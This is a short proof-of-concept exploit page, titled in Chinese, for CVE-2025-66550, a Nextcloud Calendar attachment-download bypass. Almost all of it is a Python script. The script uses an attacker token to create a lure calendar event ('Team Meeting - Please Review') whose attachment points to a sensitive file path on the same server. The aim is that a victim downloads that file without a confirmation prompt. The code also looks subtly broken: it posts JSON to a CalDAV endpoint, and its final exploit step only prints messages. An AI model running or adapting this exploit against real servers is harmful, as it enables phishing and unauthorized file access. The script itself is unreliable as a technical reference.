CVE-2025-66550 Nextcloud Calendar附件下载安全旁路漏洞

# CVE-2025-66550 Nextcloud Calendar Attachment Download Security Bypass PoC # This PoC demonstrates the security bypass vulnerability in Nextcloud Calendar import requests import json from urllib.parse import quote TARGET_URL = "https://vulnerable-nextcloud-server.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_FILE_PATH = "/remote.php/dav/files/admin/sensitive_document.pdf" def create_malicious_event(): """ Create a calendar event with a crafted attachment that links to a file on the same Nextcloud server for unauthorized download. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Malicious attachment pointing to internal server file malicious_attachment = { "filename": "innocent_file.txt", "filesize": 1024, "mimetype": "text/plain", "uri": f"{TARGET_FILE_PATH}", "isAttachment": True } event_data = { "summary": "Team Meeting - Please Review", "description": "Please download the attached agenda", "start": "2025-01-15T10:00:00Z", "end": "2025-01-15T11:00:00Z", "attachments": [malicious_attachment] } # Create calendar event via CalDAV API endpoint = f"{TARGET_URL}/remote.php/dav/calendars/attacker/personal/" response = requests.post(endpoint, headers=headers, json=event_data) if response.status_code == 201: print("[+] Malicious calendar event created successfully") return response.headers.get("Location") else: print(f"[-] Failed to create event: {response.status_code}") return None def exploit_download(): """ When victim views the event and clicks the attachment, the file will be downloaded without confirmation prompt. """ print("[*] Waiting for victim to view the malicious event...") print("[*] When victim clicks the attachment link, file downloads automatically") print("[*] File download occurs WITHOUT user confirmation (security bypass)") if __name__ == "__main__": print("CVE-2025-66550 Nextcloud Calendar Security Bypass PoC") print("=" * 60) event_url = create_malicious_event() if event_url: exploit_download()